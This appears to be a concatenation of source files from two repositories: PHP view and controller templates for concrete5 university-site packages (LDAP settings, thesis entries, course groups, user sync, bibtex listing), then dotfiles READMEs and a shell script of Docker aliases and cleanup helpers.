$config->get('ITM_LDAP_UNI_LINK'); $instLinkText = $config->get('ITM_LDAP_INST_LINKTEXT'); if (isset($_POST['ccm-submit-itm_ldap_config_form'])) { $street = $this->post('ITM_LDAP_STREET'); $streetNo = $this->post('ITM_LDAP_STREET_NO'); $zip = $this->post('ITM_LDAP_ZIP'); $city = $this->post('ITM_LDAP_CITY'); $uniLinkText = $this->post('ITM_LDAP_UNI_LINKTEXT'); $uniUrl = $this->post('ITM_LDAP_UNI_LINK'); $instLinkText = $this->post('ITM_LDAP_INST_LINKTEXT'); $config->save('ITM_LDAP_STREET', $street); $config->save('ITM_LDAP_STREET_NO', $streetNo); $config->save('ITM_LDAP_ZIP', $zip); $config->save('ITM_LDAP_CITY', $city); $config->save('ITM_LDAP_UNI_LINKTEXT', $uniLinkText); $config->save('ITM_LDAP_UNI_LINK', $uniUrl); $config->save('ITM_LDAP_INST_LINKTEXT', $instLinkText); $this->set('message', 'Configuration settings saved.'); unset($_POST); } $this->set('street', $street); $this->set('streetNo', $streetNo); $this->set('zip', $zip); $this->set('city', $city); $this->set('uniLinkText', $uniLinkText); $this->set('uniUrl', $uniUrl); $this->set('instLinkText', $instLinkText); } } <file_sep><h1 class="itmThesisEntryTitle"><?= $topic ?></h1> <?php switch ($type) { case 0: $typePlain = t('Bachelor thesis'); break; case 1 : $typePlain = t('Master thesis'); break; default : $typePlain = t('Bachelor or master thesis'); break; } switch ($status) { case 0 : $statusPlain = t('Open'); break; case 1 : $statusPlain = t('Running'); break; default : $statusPlain = t('Finished'); break; } if (empty($beginning) || $beginning == '0') { $beginningPlain = 'As soon as possible'; } else { $beginningPlain = "From $beginning"; } if (empty($student) || !$status) { $studentPlain = 'N/A'; } else { $studentPlain = $student; } ?> <div class="itmThesisEntryType"> <span class="itmThesisEntryCaption"><?= t('Type') ?>:</span> <span class="itmThesisEntryValue"><?= $typePlain ?></span> </div> <div class="itmThesisEntryStatus"> <span class="itmThesisEntryCaption"><?= t('Status') ?>:</span> <span class="itmThesisEntryValue"><?= $statusPlain ?></span> </div> <div class="itmThesisEntryBegin"> <span class="itmThesisEntryCaption"><?= t('Begin') ?>:</span> <span class="itmThesisEntryValue"><?= $beginningPlain ?></span> </div> <div class="itmThesisEntryStudent""> <span class="itmThesisEntryCaption"><?= t('Student') ?>:</span> <span class="itmThesisEntryValue"><?= $studentPlain ?></span> </div> <?php $tutors = $this->controller->getTutors(); $supervisors = $this->controller->getSupervisors(); ?> <div class="itmThesisEntryTutor"> <span class="itmThesisEntryCaption"><?= t('Tutor') ?>:</span> <span class="itmThesisEntryValue"> <?php $first = 1; foreach ($tutors as $item) { if (!$first) { echo ', '; } $rendered = $this->controller->renderName($item); if (strlen($rendered)) { echo $rendered; } $first = 0; } ?> </span> </div> <div class="itmThesisEntrySupervisor"> <span class="itmThesisEntryCaption"><?= t('Supervisor') ?>:</span> <span class="itmThesisEntryValue"> <?php $first = 1; foreach ($supervisors as $item) { if (!$first) { echo ', '; } $rendered = $this->controller->renderName($item); if (strlen($rendered)) { echo $rendered; } $first = 0; } ?> </span> </div> <file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); ?> <?php $ih = Loader::helper('concrete/interface'); $dh = Loader::helper('concrete/dashboard'); $fh = Loader::helper('form'); $ch = Loader::helper('itm_courses', 'itm_courses'); $groups = $ch->getCourseGroups(); ?> <?php echo $dh->getDashboardPaneHeaderWrapper(t('Manage Course Groups'), false, false, true, array(), Page::getByPath("/dashboard")); ?> <?php if (count($groups)) : ?> <table> <thead> <tr> <th style="width: 40%"><?=t('Handle')?></th> <th style="width: 40%"><?=t('Name')?></th> <th style="width: 10%; text-align: center"><?=t('Delete')?></th> </tr> </thead> <tbody> <?php foreach ($groups as $key => $value) : ?> <tr> <td><?=$key?></td> <td><?=$value?></td> <td style="text-align: center"> <a href="<?= $this->action('delete_group') . '?handle='.rawurlencode($key) ?>" onclick="return confirm('<?=t('Are you sure you want to delete this group?')?>')"><img src="<?= ASSETS_URL_IMAGES ?>/icons/delete_small.png" width="16" height="16" alt="<?= t('Remove') ?>" title="<?= t('Remove') ?>" style="vertical-align: middle"/></a> </td> </tr> <?php endforeach; ?> </tbody> </table> <? else : echo '<p>' . t('There are currently no groups available.') . '</p>'; endif; ?> <div class="clearfix"> <?php $eh = t('Enter handle'); $en = t('Enter name'); ?> <form method="POST" id="new_group_form" action="<?= $this->action('insert_group') ?>"> <?php echo $fh->text('new_handle', $eh, array('style' => 'margin-right: 5px;float: left')) ?> <?php echo $fh->text('new_name', $en, array('style' => 'margin-right: 5px;float: left')) ?> <?php echo $ih->submit(t('Create new group'), 'new_group_submit', 'left', 'primary', array('style' => 'margin-right: 5px;'))?> </form> <script language="JavaScript" type="text/javascript"> $('#new_handle').focus(function() { if (this.value == '<?=$eh?>') { this.value = '' } }); $('#new_handle').blur(function() { if (this.value == '') { this.value = '<?=$eh?>'; } }); $('#new_name').focus(function() { if (this.value == '<?=$en?>') { this.value = '' } }); $('#new_name').blur(function() { if (this.value == '') { this.value = '<?=$en?>'; } }); $('#new_group_form').submit(function() { if ($('#new_name').val() == '<?=$en?>' || $('#new_handle').val() == '<?=$eh?>') { alert('<?=t('Please enter valid handle and name.')?>'); return false; } return true; }); </script> </div> <?php echo $dh->getDashboardPaneFooterWrapper(); ?><file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); define('BIBTEXBROWSER_BIB_IN_NEW_WINDOW', true); define('BIBTEXBROWSER_URL_BUILDER', ItmBibtexBuildUrl); Loader::library('bibtexbrowser', 'itm_bibtex'); class ItmBibtexBlockController extends BlockController { protected $btTable = 'btItmBibtex'; protected $btInterfaceWidth = "350"; protected $btInterfaceHeight = "300"; protected $btWrapperClass = 'ccm-ui'; public function getBlockTypeDescription() { return t("Adds a Bibtex entries."); } public function getBlockTypeName() { return t("ITM Bibtex Entry"); } public function save($data) { parent::save($data); } public function view() { } public function getFileID() { return $this->fID; } public function getFileObject() { return File::getByID($this->fID); } public function getFilteredPubList() { $bh = Loader::helper('itm_bibtex', 'itm_bibtex'); $bibDb = $bh->getBibDb($this->fID); if (empty($bibDb)) { return array(); } if (empty($this->since)) { $this->since = 1990; } $result = array(); for ($i = date('Y') + 1; $i >= $this->since; $i--) { $tmpResult = $bibDb->multisearch(array( "author" => $this->author, "year" => $i)); if (!count($tmpResult)) { continue; } $result[(string) $i] = $tmpResult; } return $result; } } ?><file_sep><?php defined('C5_EXECUTE') or die("Access Denied."); //$replaceOnUnload = 1; $bt->inc('editor_init.php'); ?> <div> <h4><?= t('Title of this paragraph') ?></h4> <div> <?= $form->text('title', $title, array('style' => 'width: 100%')) ?> </div> </div> <div> <h4><?= t('Content of this paragraph') ?></h4> <textarea id="ccm-content-<?php echo $b->getBlockID()?>-<?php echo $a->getAreaID()?>" class="advancedEditor ccm-advanced-editor" name="content"><?php echo $controller->getContentEditMode()?></textarea> </div><file_sep><?php defined('C5_EXECUTE') or die(_("Access Denied.")); ?> <?php $ih = Loader::helper('concrete/interface'); $dh = Loader::helper('concrete/dashboard'); $uidFilter = htmlentities($filter['value']); $c5Filter = $filter['c5'] == 1; $ldapFilter = $filter['ldap'] == 1; $userArray = array(); foreach ($userlist as $key => $item) { $ldap = false; $c5 = false; if (is_array($item)) { $ldap = true; } if ($item instanceof ItmLdapUserTuple) { $ldap = true; $c5 = true; } if ($item instanceof UserInfo) { $c5 = true; } $obj = array( 'isLdap' => $ldap, 'isC5' => $c5, 'uid' => $key ); array_push($userArray, $obj); } $json = Loader::helper('json'); ?> <script language="JavaScript" type="text/javascript"> /* * Dynamically organizes the LDAP user list. No AJAX calls will be made, * there is just a reorganization of the user list be effected */ var LdapC5Users = { userlist: <?= $json->encode($userArray) ?>, filterValue: '', filterC5: true, filterLdap: true, updateFilter: function() { this.filterValue = $('#ldapC5UserFilterValue').val(); this.filterC5 = $('#ldapC5UserFilterC5').filter(':checked').length; this.filterLdap = $('#ldapC5UserFilterLdap').filter(':checked').length; }, confirmRemove: function(name) { return confirm('Are you sure you want to remove ' + name + ' from the concrete5 database?'); }, confirmUpdate: function(name) { return confirm('Are you sure you want to update ' + name + ' in the concrete5 database?'); }, confirmRemoveSelected: function() { if (confirm('Are you sure you want to remove selected users?')) { $('#submissionProcessing').css('display', 'block'); return true; } return false; }, confirmUpdateSelected: function() { if (confirm('Are you sure you want to update selected users?')) { $('#submissionProcessing').css('display', 'block'); return true; } return false; }, selectAll : function() { $('.ldapC5UserCheckbox').each(function(num,el){el.checked=true;}); }, selectNone: function() { $('.ldapC5UserCheckbox').each(function(num,el){el.checked=false;}); }, getSelectedUsers: function() { return $('.ldapC5UserCheckbox').map(function(num, el) { return el.checked ? el.value : null; }).get(); }, serializeSelectedUsers: function() { return JSON.stringify(this.getSelectedUsers()); }, serializeFilter: function() { this.updateFilter(); return JSON.stringify({ 'value': this.filterValue, 'c5': this.filterC5, 'ldap': this.filterLdap }); }, filter: function() { $('.ldapC5UserUserlistRow').detach(); this.updateFilter(); var tbody = $('#ldapC5UserUserlistTable').children('tbody'); for (var i = 0; i < this.userlist.length; i++) { var uid = this.userlist[i]['uid']; var isC5 = this.userlist[i]['isC5']; var isLdap = this.userlist[i]['isLdap']; if (this.filterC5 || this.filterLdap) { if (this.filterC5 && this.filterLdap && (!isC5 || !isLdap)) { continue; } if (!this.filterC5 && isC5) { continue; } if (!this.filterLdap && isLdap) { continue; } } if (uid.indexOf(this.filterValue) > -1) { tbody.append('<tr class="ldapC5UserUserlistRow">\n\ <td class="center">\n\ <div class="ldapC5UserCheckbox">\n\ <input type="checkbox" checked="checked" value="' + uid + '" class="ldapC5UserCheckbox" name="selected_users">\n\ </div>\n\ </td>\n\ <td>\n\ ' + uid + '\n\ </td>\n\ <td class="center">\n\ <img src="<?= ASSETS_URL_IMAGES ?>/icons/' + (isC5 ? 'success.png' : 'error.png') + '" width="16" height="16" alt="' + (isC5 ? 'Yes' : 'No') + '" />\n\ </td>\n\ <td class="center">\n\ <img src="<?= ASSETS_URL_IMAGES ?>/icons/' + (isLdap ? 'success.png' : 'error.png') + '" width="16" height="16" alt="' + (isLdap ? 'Yes' : 'No') + '" />\n\ </td>\n\ <td class="center">\n\ <form onsubmit="this.filter.value=LdapC5Users.serializeFilter(); return LdapC5Users.confirmUpdate(\'' + uid + '\');" action="<?= $this->action('update_user') ?>" method="post" style="display: inline">\n\ <input type="hidden" value="' + uid + '" name="uid"/>\n\ <input type="hidden" value="" name="filter"/>\n\ <?= $ih->submit(t('Update'), false, 'left', null, array('style' => 'margin-right: 5px')) ?>\n\ </form>\n\ <form onsubmit="this.filter.value=LdapC5Users.serializeFilter(); return LdapC5Users.confirmRemove(\'' + uid + '\');" action="<?= $this->action('remove_user') ?>" method="post" style="display: inline">\n\ <input type="hidden" value="' + uid + '" name="uid"/>\n\ <input type="hidden" value="" name="filter"/>\n\ <?= $ih->submit(t('Remove'), false, 'left') ?>\n\ </form>\n\ </td>\n\ </tr>'); } } } } $(document).ready(function() { $('#ldapC5UserFilterValue').keyup(function(event) { LdapC5Users.filter(); }); LdapC5Users.filter(); }); </script> <style type="text/css"> .userTableClearfix:after { content: "."; display: block; height: 0; clear: both; visibility: hidden; } #ldapC5UserUserlistTable .center { text-align: center; } #ldapC5UserUserlistTable td, th { vertical-align: middle; } label.syncStyle { cursor: pointer; float: none; text-align: left; width: 100%; padding-left: 5px; } </style> <?php echo $dh->getDashboardPaneHeaderWrapper(t('Synchronize concrete5 users with LDAP users'), false, false, true, array(), Page::getByPath("/dashboard")); ?> <p id="submissionProcessing" style="display: none;"> <img src="<?= ASSETS_URL_IMAGES ?>/throbber_white_32.gif" width="32" height="32" alt="<?= t('Loading...') ?>" style="vertical-align: middle; margin-right: 10px"/> <?= t('Processing...') ?> </p> <p> <form style="display: inline; line-height: 36px" onsubmit="return false"> <?= t('Filter') ?>: <input type="text" value="<?= $uidFilter ?>" name="ldapC5UserFilterValue" id="ldapC5UserFilterValue"/>&nbsp;&nbsp;&nbsp; <input onchange="LdapC5Users.filter();" type="checkbox" value="1" id="ldapC5UserFilterC5" name="filterC5"<?= $c5Filter ? ' checked="checked' : '"' ?>/><label for="ldapC5UserFilterC5" class="syncStyle"><?= t('Available at concrete5') ?></label>&nbsp;&nbsp;&nbsp; <input onchange="LdapC5Users.filter();" type="checkbox" value="1" id="ldapC5UserFilterLdap" name="filterLdap"<?= $ldapFilter ? ' checked="checked' : '"' ?>/><label for="ldapC5UserFilterLdap" class="syncStyle"><?= t('Available at LDAP server') ?></label> </form> <div style="display: inline;" class="userTableClearfix"> <form style="display: inline;" action="<?= $this->action('remove_users') ?>" method="post" onsubmit="this.items.value=LdapC5Users.serializeSelectedUsers(); this.filter.value=LdapC5Users.serializeFilter(); return LdapC5Users.confirmRemoveSelected()"> <?= $ih->submit(t('Remove selected'), false, 'right') ?> <input type="hidden" value="" name="items"/> <input type="hidden" value="" name="filter"/> </form> <form style="display: inline;" action="<?= $this->action('update_users') ?>" method="post" onsubmit="this.items.value=LdapC5Users.serializeSelectedUsers(); this.filter.value=LdapC5Users.serializeFilter(); return LdapC5Users.confirmUpdateSelected()"> <?= $ih->submit(t('Update selected'), false, 'right', null, array('style' => 'margin-right: 5px')) ?> <input type="hidden" value="" name="items"/> <input type="hidden" value="" name="filter"/> </form> </div> </p> <table width="100%" cellspacing="1" cellpadding="0" border="0" class="grid-list" id="ldapC5UserUserlistTable"> <thead> <tr> <th class="subheader center" style="width: 50px"> <a onclick="LdapC5Users.selectAll()" href="javascript:void(0)"><?= t('All') ?></a> | <a onclick="LdapC5Users.selectNone()" href="javascript:void(0)"><?= t('None') ?></a> </th> <th class="subheader" style=""><?= t('Common user ID') ?></td> <th class="subheader center" style="width: 150px"><?= t('Available via concrete5') ?></th> <th class="subheader center" style="width: 150px"><?= t('Available via LDAP') ?></th> <th class="subheader" style="width: 160px"><?= t('Actions for single user') ?></th> </tr> </thead> <tbody> <tr class="ldapC5UserUserlistRow"> <td colspan="5"> <?= t('If you can read this, JavaScript is not enabled.') ?> </td> </tr> </tbody> </table> <p> <div class="userTableClearfix"> <form style="display: inline;" action="<?= $this->action('remove_users') ?>" method="post" onsubmit="this.items.value=LdapC5Users.serializeSelectedUsers(); this.filter.value=LdapC5Users.serializeFilter(); return LdapC5Users.confirmRemoveSelected()"> <?= $ih->submit(t('Remove selected'), false, 'right') ?> <input type="hidden" value="" name="items"/> <input type="hidden" value="" name="filter"/> </form> <form style="display: inline;" action="<?= $this->action('update_users') ?>" method="post" onsubmit="this.items.value=LdapC5Users.serializeSelectedUsers(); this.filter.value=LdapC5Users.serializeFilter(); return LdapC5Users.confirmUpdateSelected()"> <?= $ih->submit(t('Update selected'), false, 'right', null, array('style' => 'margin-right: 5px')) ?> <input type="hidden" value="" name="items"/> <input type="hidden" value="" name="filter"/> </form> </div> </p> <?php echo $dh->getDashboardPaneFooterWrapper(); ?><file_sep><?php defined('C5_EXECUTE') or die("Access Denied."); $bt->inc('editor_init.php'); ?> <div> <h4><?= t('Course Item Caption') ?></h4> <div id="titleFieldWrapper"> <script language="JavaScript"> CourseItem.items = items; CourseItem.switchIcon = switchIcon; $('#titleFieldWrapper').append(CourseItem.renderTitleField('')); </script> </div> </div> <div> <h4><?= t('Content of this custom content block') ?></h4> <div style="text-align: center"><textarea id="ccm-content-<?php echo $a->getAreaID() ?>" class="advancedEditor ccm-advanced-editor" name="content"></textarea></div> </div>
6af69a0ad89d5a69f9973eb2bd67de9718b13a40
[ "JavaScript", "Markdown", "Text", "PHP" ]
63
PHP
itm/concrete5-packages
0b10526e7e4a2b58f992fbdf7a3a6ac54a2c0c6c
e3d249e3f8461d0748483ccc07173c65aef9a7ef
refs/heads/master
<repo_name>myazdani/meetup<file_sep>/utils/provision.sh #!/bin/bash # activate neon virtual env cd ~/neon . .venv/bin/activate cd ~/meetup # ensure notebooks are read only chmod u-w cifar_example.ipynb chmod u-w imdb_example.ipynb # launch notebook server ipython notebook --ip 0.0.0.0 --no-browser
271c41f4caf78309c47894094f0cb6b05cff9c41
[ "Shell" ]
1
Shell
myazdani/meetup
9807e495da1bb36587f1fdd8c45a9fa284a9b2d7
d756468962de547c1209d362b5feeccd5f1f3272
refs/heads/master
<file_sep>package com.rest.api.controllers; import com.rest.api.model.User; import com.rest.api.service.impl.MemoryMapImpl; import org.junit.Assert; import org.junit.Test; import org.junit.runner.RunWith; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.context.SpringBootTest; import org.springframework.boot.test.web.client.TestRestTemplate; import org.springframework.context.annotation.Bean; import org.springframework.core.ParameterizedTypeReference; import org.springframework.http.*; import org.springframework.test.context.junit4.SpringRunner; import java.util.List; import static org.junit.Assert.assertEquals; @RunWith(SpringRunner.class) @SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT) public class UsersControllerTest { @Bean public TestRestTemplate testRestTemplate() { return new TestRestTemplate(); } @Autowired MemoryMapImpl memoryMap; @Autowired private TestRestTemplate testRestTemplate; @Test public void createUserTest(){ User user = new User("Malhar","Kamalakar"); HttpEntity<User> entity = new HttpEntity(user); ResponseEntity<String> result = testRestTemplate.postForEntity("/v1/user",entity,String.class); Assert.assertEquals(HttpStatus.ACCEPTED, result.getStatusCode()); assertEquals("User created. First name: "+ user.getFirstName() + " :: Last name: " + user.getLastName(), result.getBody().toString()); } @Test public void getUserTest(){ User u = new User("Rugved","Kamalakar"); memoryMap.createUser(u); ResponseEntity<User> result = testRestTemplate.getForEntity("/v1/user?name=Rugved",User.class); Assert.assertNotNull(result); Assert.assertEquals(HttpStatus.OK,result.getStatusCode()); Assert.assertEquals(u.getFirstName(),result.getBody().getFirstName()); Assert.assertEquals(u.getLastName(),result.getBody().getLastName()); } @Test public void getUserListTest(){ int beforeCount = memoryMap.getUsersCount(); User u = new User("Arjun","Kamalakar"); memoryMap.createUser(u); User[] result = testRestTemplate.getForObject("/v1/userList",User[].class); Assert.assertNotNull(result); Assert.assertEquals(beforeCount+1,result.length); } } <file_sep>package com.rest.api.controllers; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController; @RestController public class Greeting { @GetMapping(path="/greeting") public String greet(){ return "Hello World"; } } <file_sep>package com.rest.api.service.impl; import com.rest.api.model.User; import com.rest.api.service.MemoryMap; import org.springframework.stereotype.Service; import java.util.*; @Service public class MemoryMapImpl implements MemoryMap { private HashMap<String, User> userHashMap = new HashMap<>(); public void createUser(User user){ userHashMap.put(user.getFirstName(), user); } public User retrieveUser(String userId){ return userHashMap.get(userId); } //public List<User> getUserList(){ public User[] getUserList(){ //List<User> userList = new ArrayList(); Set keys = userHashMap.keySet(); Iterator itr = keys.iterator(); User[] users = new User[keys.size()]; int i =0; if(itr != null) { while (itr.hasNext()) { //userList.add(userHashMap.get(itr.next())); users[i]=userHashMap.get(itr.next()); i++; } } //return userList; return users; } public int getUsersCount(){ return userHashMap.size(); } } <file_sep>plugins { id 'java' id 'org.springframework.boot' version '2.1.8.RELEASE' //id 'org.sonarqube' version '2.7.1' } apply plugin: 'io.spring.dependency-management' group 'Group1' version '1.0-SNAPSHOT' sourceCompatibility = 1.8 repositories { mavenCentral() } dependencies { testCompile group: 'junit', name: 'junit', version: '4.12' //implementation 'org.springframework.boot:spring-boot-starter-data-jpa' implementation("org.springframework.boot:spring-boot-starter-web") //implementation 'org.springframework.boot:spring-boot-starter-security' testImplementation('org.springframework.boot:spring-boot-starter-test') testImplementation 'org.mockito:mockito-inline' } /* sonarqube { properties { property "sonar.host.url", "http://10.81.16.148:9000" property "sonar.projectName", "msk_rest" property "sonar.projectKey", "msk_rest" property "sonar.projectVersion", "1.0" property "sonar.sources", "src/main" property "sonar.sourceEncoding", "UTF-8" property "sonar.java.binaries", "build/classes/java" property "sonar.tests", "src/test" } } */
e395ddf2c32ee3f3443286cdcbdf5dbca36fb492
[ "Java", "Gradle" ]
4
Java
medhak19/SpringBootRestWS
12d92279663fe493f7951424045700fff466bbbc
94f3b261e3b12c20e84f986723fede4868492f06
refs/heads/master
<repo_name>jatindersingh4159/march12<file_sep>/javascript1.js function a(b,c){ var i=1; for(;b<5;){ console.log(b++ * --i) } } a(2,2)
ce6a5bbdf69f90fc65703487e5ea65d85904d9be
[ "JavaScript" ]
1
JavaScript
jatindersingh4159/march12
80d6ee9358ed223267936c08fdf33abff4764a5f
b895ac7b2462020cd0acb81dd73c50e7adbe7219
refs/heads/main
<repo_name>soumilinandi/SpringBootProject_2<file_sep>/src/main/java/com/example/SpringBootProject_2/EmpController2.java package com.example.SpringBootProject_2; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @RestController public class EmpController2 { @RequestMapping("/employee") String index(){ //mapped to hostname:port/home/index/ return "Hello from controller1"; } }
997da5c6f16376884f683f0e629e2a4b04ac3530
[ "Java" ]
1
Java
soumilinandi/SpringBootProject_2
6359f3d54dc9c0e6861141a2fcd47e2f19f8b0ff
649cf345690a4d7f28157c73c288434a281fa44b
refs/heads/main
<file_sep>import React from 'react'; import { FormSection, SectionContainer, SectionWrapper, SignupBody, TextPara, TextSection, TextTitle } from "./Signup.elements"; const Signup = () => { return ( <> <SignupBody> <SectionWrapper> <SectionContainer> <TextSection> <TextTitle>Learn to code by watching others</TextTitle> <TextPara>See how experienced developers solve problems in real-time. Watching scripted tutorials is great, but understanding how developers think is invaluable.</TextPara> </TextSection> <FormSection> <h1>Lorem ipsum dolor sit amet, consectetur adipiscing</h1> <p>Lorem ipsum dolor sit amet consectetur adipisicing elit. Adipisci perferendis hic, blanditiis similique voluptates, aliquid explicabo incidunt sit ipsam labore voluptatibus, suscipit nostrum voluptas neque facere cumque autem quidem officiis.</p> </FormSection> </SectionContainer> </SectionWrapper> </SignupBody> </> ); }; export default Signup;
ac0f98242927a38aee0ec4e1137c2a94287fb81f
[ "JavaScript" ]
1
JavaScript
jubayerjuhan/signup-page
c9737ab1a108d1da54d8cb0b3c6c8ee71de624cc
fecdff342265849951890ed143b077c6a80b3bba
refs/heads/master
<repo_name>Kenwangxr/student-info<file_sep>/StudentInfo/src/main/java/net/wangxr/xk/pojo/EndCourseResult.java package net.wangxr.xk.pojo; public class EndCourseResult { }
b1d3172ee1f6d779602e3929d5b1f143cecdc0b6
[ "Java" ]
1
Java
Kenwangxr/student-info
6e8f420201c52b5703a724bc34f3f772324e4c10
7ac553d22f6dc0211665bf6e1e0f9155e1492880
refs/heads/master
<repo_name>samsamson33/eslint-config<file_sep>/.eslintrc.js // This is the file to lint this project, not one of the project exports module.exports = { env: { es2020: true, node: true }, // Using the config to lint the config :D extends: ".", parserOptions: { ecmaVersion: 12 } }; <file_sep>/typescript.js const baseConfig = require("."); const extentionRules = (() => { const rules = {}; const ruleList = [ "brace-style", "comma-spacing", "default-param-last", "dot-notation", "func-call-spacing", "indent", "init-declarations", "keyword-spacing", "lines-between-class-members", "no-array-constructor", "no-dupe-class-members", "no-empty-function", "no-extra-parens", "no-extra-semi", "no-invalid-this", "no-loss-of-precision", "no-magic-numbers", "no-unused-expressions", "no-unused-vars", "no-use-before-define", "no-useless-constructor", "quotes", "require-await", "no-return-await", "semi", "space-before-function-paren" ]; for (const rule of ruleList) { // typescript-eslint gives the no-return-await extention rule the name return-await const tsRule = rule === "no-return-await" ? "return-await" : rule; rules[`@typescript-eslint/${tsRule}`] = baseConfig.rules[rule]; rules[rule] = "off"; } return rules; })(); const tsRules = { "@typescript-eslint/adjacent-overload-signatures": "error", "@typescript-eslint/array-type": ["error", { default: "array-simple" }], "@typescript-eslint/await-thenable": "error", "@typescript-eslint/ban-ts-comment": ["error", { "ts-expect-error": "allow-with-description", "ts-ignore": "allow-with-description", "ts-nocheck": "allow-with-description", "ts-check": false }], "@typescript-eslint/ban-tslint-comment": "error", // "@typescript-eslint/ban-types": "off", "@typescript-eslint/class-literal-property-style": "off", "@typescript-eslint/consistent-type-assertions": "error", "@typescript-eslint/consistent-type-definitions": ["error", "type"], "@typescript-eslint/explicit-function-return-type": "off", "@typescript-eslint/explicit-member-accessibility": "error", "@typescript-eslint/explicit-module-boundary-types": "off", "@typescript-eslint/member-delimiter-style": "error", "@typescript-eslint/member-ordering": "off", "@typescript-eslint/method-signature-style": "error", "@typescript-eslint/naming-convention": "off", "@typescript-eslint/no-base-to-string": "error", "@typescript-eslint/no-confusing-non-null-assertion": "warn", "@typescript-eslint/no-dynamic-delete": "warn", "@typescript-eslint/no-empty-interface": "error", "@typescript-eslint/no-explicit-any": "error", "@typescript-eslint/no-extra-non-null-assertion": "error", "@typescript-eslint/no-extraneous-class": "off", "@typescript-eslint/no-floating-promises": "error", "@typescript-eslint/no-for-in-array": "error", "@typescript-eslint/no-implicit-any-catch": "error", "@typescript-eslint/no-implied-eval": "error", "@typescript-eslint/no-inferrable-types": "error", "@typescript-eslint/no-invalid-void-type": "error", "@typescript-eslint/no-misused-new": "error", "@typescript-eslint/no-misused-promises": "error", "@typescript-eslint/no-namespace": "error", "@typescript-eslint/no-non-null-asserted-optional-chain": "error", "@typescript-eslint/no-non-null-assertion": "off", "@typescript-eslint/no-parameter-properties": "off", "@typescript-eslint/no-require-imports": "error", "@typescript-eslint/no-this-alias": ["error", { allowDestructuring: true }], "@typescript-eslint/no-throw-literal": "error", "@typescript-eslint/no-type-alias": "off", "@typescript-eslint/no-unnecessary-boolean-literal-compare": "warn", "@typescript-eslint/no-unnecessary-condition": ["error", { allowConstantLoopConditions: true }], "@typescript-eslint/no-unnecessary-qualifier": "error", "@typescript-eslint/no-unnecessary-type-arguments": "error", "@typescript-eslint/no-unnecessary-type-assertion": "error", "@typescript-eslint/no-unsafe-assignment": "error", "@typescript-eslint/no-unsafe-call": "error", "@typescript-eslint/no-unsafe-member-access": "error", "@typescript-eslint/no-unsafe-return": "error", "@typescript-eslint/no-unused-vars-experimental": "off", "@typescript-eslint/no-var-requires": "error", "@typescript-eslint/prefer-as-const": "error", "@typescript-eslint/prefer-enum-initializers": "off", "@typescript-eslint/prefer-for-of": "error", "@typescript-eslint/prefer-function-type": "error", "@typescript-eslint/prefer-includes": "error", "@typescript-eslint/prefer-literal-enum-member": "off", "@typescript-eslint/prefer-namespace-keyword": "error", "@typescript-eslint/prefer-nullish-coalescing": "error", "@typescript-eslint/prefer-optional-chain": "warn", "@typescript-eslint/prefer-readonly": "off", "@typescript-eslint/prefer-readonly-parameter-types": "off", "@typescript-eslint/prefer-reduce-type-parameter": "warn", "@typescript-eslint/prefer-regexp-exec": "error", "@typescript-eslint/prefer-string-starts-ends-with": "error", "@typescript-eslint/prefer-ts-expect-error": "error", "@typescript-eslint/promise-function-async": "error", "@typescript-eslint/require-array-sort-compare": "warn", "@typescript-eslint/restrict-plus-operands": "error", "@typescript-eslint/restrict-template-expressions": "off", "@typescript-eslint/strict-boolean-expressions": "off", "@typescript-eslint/switch-exhaustiveness-check": "off", "@typescript-eslint/triple-slash-reference": "error", "@typescript-eslint/type-annotation-spacing": "error", "@typescript-eslint/typedef": "off", "@typescript-eslint/unbound-method": "off", "@typescript-eslint/unified-signature": "off" }; module.exports = { overrides: [ { files: ["*.ts", "*.tsx"], parser: "@typescript-eslint/parser", plugins: ["@typescript-eslint"], rules: { ...extentionRules, ...tsRules } } ] };
0c3973b63887f19d9cabaf99c3c729e46e5da6bc
[ "JavaScript" ]
2
JavaScript
samsamson33/eslint-config
f640715a8c537563f4ff4d2d3d345b846f2e8bab
c6e13807f5e304a763a46c79dda34f6c1eb32c3e
refs/heads/master
<repo_name>dineshk01/Alarm-Clock<file_sep>/script.js // var timecounter = document.getElementById("timepart"); // console.log(timecounter.innerText); // var intervalid = setInterval ( function() { // var timetext = timecounter.innerText; // if(timetext>0){ // timetext -= 1; // timecounter.innerText= timetext; // } // else { // clearInterval(intervalid); // } // console.log("interval!!!"); // }, 1000); var hourele = document.getElementById("hour"); var minele = document.getElementById("minute"); var secele = document.getElementById("second"); function latesttime(){ hourele.innerText = new Date().getHours(); minele.innerText = new Date().getMinutes(); secele.innerText = new Date().getSeconds(); } setInterval(latesttime,1000);
393f2fe7b18e32e63fe0ffe7dd88d2c3a9ca51d5
[ "JavaScript" ]
1
JavaScript
dineshk01/Alarm-Clock
dd0a5256d219ae62c1d8936aafec0854be22a30d
ff43d73fc9e76504a0be12646e47e3b369f46790
refs/heads/master
<repo_name>daGrevis/Dotfiles<file_sep>/zsh/README.md # Zsh Terminal shell. <file_sep>/sh/sh/docker.sh #!/usr/bin/env bash alias dpl='docker pull' alias dim='docker images' alias dlg='docker logs' dlgf() { docker logs -f "$@" 2>&1 } # https://gist.github.com/GottZ/4a6c2af314d73cd8b71d dps() { docker ps $@ --format "table{{ .Image }}\\t{{ .Names }}\\t{{ .Status }}\\t{{ .Ports }}" | awk ' NR % 2 == 0 { printf "\033[0m"; } NR % 2 == 1 { printf "\033[1m"; } NR == 1 { PORTSPOS = index($0, "PORTS"); PORTS = "PORTS"; PORTSPADDING = "\n"; for(n = 1; n < PORTSPOS; n++) PORTSPADDING = PORTSPADDING " "; } NR > 1 { PORTS = substr($0, PORTSPOS); gsub(/, /, PORTSPADDING, PORTS); } { printf "%s%s\n", substr($0, 0, PORTSPOS - 1), PORTS; } END { printf "\033[0m"; } ' } alias dpsa='docker ps -a' alias drm='docker rm -f' alias drmi='docker rmi' alias drs='docker restart' alias dstp='docker stop' alias dst='docker start' docker-rmcs() { docker rm -f $(docker ps -aq) } docker-rmis() { docker rmi -f $(docker images -q) } <file_sep>/alacritty/README.md # Alacritty Together with tmux, tmuxinator & zsh, emulates the terminal with tabs, scrollback & sessions. <file_sep>/ack/README.md # Ack 